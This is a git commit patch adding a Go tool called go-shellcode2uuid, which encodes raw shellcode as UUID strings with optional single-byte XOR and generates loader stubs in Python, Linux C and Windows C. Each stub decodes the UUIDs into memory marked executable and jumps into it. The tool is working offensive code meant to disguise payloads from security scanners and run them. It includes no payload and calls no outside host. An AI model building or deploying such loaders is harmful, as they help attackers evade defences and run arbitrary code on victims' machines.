From dd0898f27ba5e6c467d4bed38ab151cecc4bba93 Mon Sep 17 00:00:00 2001 From: heqnx Date: Wed, 21 May 2025 20:59:29 +0300 Subject: added go-shellcode2uuid --- main.go | 315 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 315 insertions(+) create mode 100644 main.go (limited to 'main.go') diff --git a/main.go b/main.go new file mode 100644 index 0000000..86820eb --- /dev/null +++ b/main.go @@ -0,0 +1,315 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "flag" + "fmt" + "os" + "text/template" +) + +const pythonStub = `import uuid +import mmap +import ctypes + +uuids = [ +{{- range .UUIDs }} + '{{ . }}', +{{- end }} +] + +shellcode = b'' +for u in uuids: + shellcode += uuid.UUID(u).bytes + +shellcode = shellcode[:{{ .OrigLen }}] + +{{- if .XORKey }} +key = {{ .XORKey }} +shellcode = bytes(b ^ key for b in shellcode) +{{- end }} + +print(f'decoded shellcode length: {len(shellcode)} bytes') + +pagesize = mmap.PAGESIZE +size = ((len(shellcode) + pagesize - 1) // pagesize) * pagesize +mem = mmap.mmap(-1, size, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC) +mem.write(shellcode) + +func = ctypes.CFUNCTYPE(None)(ctypes.addressof(ctypes.c_int.from_buffer(mem))) +print('executing shellcode') +func() +` + +const cStub = `// gcc -z execstack -fno-stack-protector -no-pie -o stub stub.c +#include +#include +#include +#include +#include +#include + +#define ORIGINAL_SHELLCODE_LENGTH {{ .OrigLen }} + +const char* uuid_strings[] = { +{{- range .UUIDs }} + "{{ . }}", +{{- end }} +}; + +uint8_t hexchar(char c) { + if ('0' <= c && c <= '9') return c - '0'; + if ('a' <= c && c <= 'f') return c - 'a' + 10; + if ('A' <= c && c <= 'F') return c - 'A' + 10; + return 0; +} + +void parse_uuid(const char* str, uint8_t* out) { + int j = 0; + for (int i = 0; str[i] != '\0' && j < 16; ) { + if (str[i] == '-') { + ++i; + continue; + } + out[j] = (hexchar(str[i]) << 4) | hexchar(str[i+1]); + i += 2; + ++j; + } +} + +{{- if .XORKey }} + +void xor_decode(uint8_t *buf, size_t len, uint8_t key) { + for (size_t i = 0; i < len; i++) { + buf[i] ^= key; + } +} +{{- end }} + +uint8_t* decode_uuids(size_t count, size_t* out_len) { + uint8_t* buf = malloc(count * 16); + if (!buf) { + fprintf(stderr, "malloc failed\\n"); + exit(1); + } + + for (size_t i = 0; i < count; ++i) { + parse_uuid(uuid_strings[i], buf + (i * 16)); + } + + *out_len = count * 16; + return buf; +} + +int main() { + size_t shellcode_len = 0; + uint8_t* shellcode = decode_uuids(sizeof(uuid_strings) / sizeof(uuid_strings[0]), &shellcode_len); + +{{- if .XORKey }} + xor_decode(shellcode, shellcode_len, {{ .XORKey }}); +{{- end }} + + printf("decoded shellcode length: %zu\\n", shellcode_len); + + void *exec = mmap(0, shellcode_len, PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_ANON | MAP_PRIVATE, -1, 0); + if (exec == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH); + ((void(*)())exec)(); + printf("successfully executed shellcode\\n"); + + free(shellcode); + return 0; +} +` + +const cWinStub = `// x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase +#include +#include +#include +#include + +#define ORIGINAL_SHELLCODE_LENGTH {{ .OrigLen }} + +const char* uuid_strings[] = { +{{- range .UUIDs }} + "{{ . }}", +{{- end }} +}; + +uint8_t hexchar(char c) { + if ('0' <= c && c <= '9') return c - '0'; + if ('a' <= c && c <= 'f') return c - 'a' + 10; + if ('A' <= c && c <= 'F') return c - 'A' + 10; + return 0; +} + +void parse_uuid(const char* str, uint8_t* out) { + int j = 0; + for (int i = 0; str[i] != '\0' && j < 16; ) { + if (str[i] == '-') { + ++i; + continue; + } + out[j] = (hexchar(str[i]) << 4) | hexchar(str[i+1]); + i += 2; + ++j; + } +} + +{{- if .XORKey }} + +void xor_decode(uint8_t *buf, size_t len, uint8_t key) { + for (size_t i = 0; i < len; i++) { + buf[i] ^= key; + } +} +{{- end }} + +int main() { + size_t count = sizeof(uuid_strings) / sizeof(uuid_strings[0]); + uint8_t* shellcode = (uint8_t*)malloc(count * 16); + if (!shellcode) { + fprintf(stderr, "malloc failed\n"); + return 1; + } + + for (size_t i = 0; i < count; ++i) { + parse_uuid(uuid_strings[i], shellcode + i * 16); + } + +{{if .XORKey }} + xor_decode(shellcode, count * 16, {{ .XORKey }}); +{{- end }} + + printf("decoded shellcode length: %zu\n", count * 16); + + void* exec = VirtualAlloc(NULL, count * 16, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!exec) { + fprintf(stderr, "VirtualAlloc failed\n"); + free(shellcode); + return 1; + } + + memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH); + + ((void(*)())exec)(); + + free(shellcode); + return 0; +} +` + +func main() { + filePath := flag.String("file", "", "path to binary shellcode file") + stubLang := flag.String("stub", "", "stub language to output (c, cwin, py)") + xorFlag := flag.Bool("xor", false, "enable random single-byte XOR encoding") + flag.Parse() + + if *filePath == "" { + flag.Usage() + os.Exit(1) + } + + data, err := os.ReadFile(*filePath) + if err != nil { + fmt.Fprintf(os.Stderr, "[err] failed to read file: %v\n", err) + os.Exit(1) + } + + origLen := len(data) + if origLen%16 != 0 { + fmt.Printf("[inf] shellcode size (%d bytes) is not a multiple of 16, will pad with nullbytes\n", origLen) + pad := 16 - (origLen % 16) + data = append(data, make([]byte, pad)...) + } + + var xorKey byte = 0 + if *xorFlag { + key := make([]byte, 1) + _, err := rand.Read(key) + if err != nil { + fmt.Fprintf(os.Stderr, "[err] failed to generate XOR key: %v\n", err) + os.Exit(1) + } + xorKey = key[0] + fmt.Printf("[inf] using XOR key: 0x%02x\n", xorKey) + + for i := 0; i < len(data); i++ { + data[i] ^= xorKey + } + } + + var uuids []string + for i := 0; i < len(data); i += 16 { + chunk := data[i : i+16] + uuid := formatAsUUID(chunk) + uuids = append(uuids, uuid) + fmt.Println(uuid) + } + + if *stubLang != "" { + var stubContent string + var fileName string + + switch *stubLang { + case "py": + stubContent = pythonStub + fileName = "stub.py" + case "c": + stubContent = cStub + fileName = "stub.c" + case "cwin": + stubContent = cWinStub + fileName = "stub.c" + default: + fmt.Fprintf(os.Stderr, "[err] unsupported stub language\n") + os.Exit(1) + } + + err := renderTemplateToFile(stubContent, uuids, origLen, xorKey, fileName) + if err != nil { + fmt.Fprintf(os.Stderr, "[err] failed to write stub: %v\n", err) + os.Exit(1) + } + fmt.Printf("[inf] stub written to %s\n", fileName) + } +} + +func formatAsUUID(b []byte) string { + if len(b) != 16 { + return "" + } + return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x", + binary.BigEndian.Uint32(b[0:4]), + binary.BigEndian.Uint16(b[4:6]), + binary.BigEndian.Uint16(b[6:8]), + binary.BigEndian.Uint16(b[8:10]), + b[10:16], + ) +} + +func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey byte, fileName string) error { + tmpl, err := template.New("stub").Parse(tmplStr) + if err != nil { + return err + } + + f, err := os.Create(fileName) + if err != nil { + return err + } + defer f.Close() + + return tmpl.Execute(f, map[string]interface{}{ + "UUIDs": uuids, + "OrigLen": origLen, + "XORKey": xorKey, + }) +} + -- cgit v1.2.3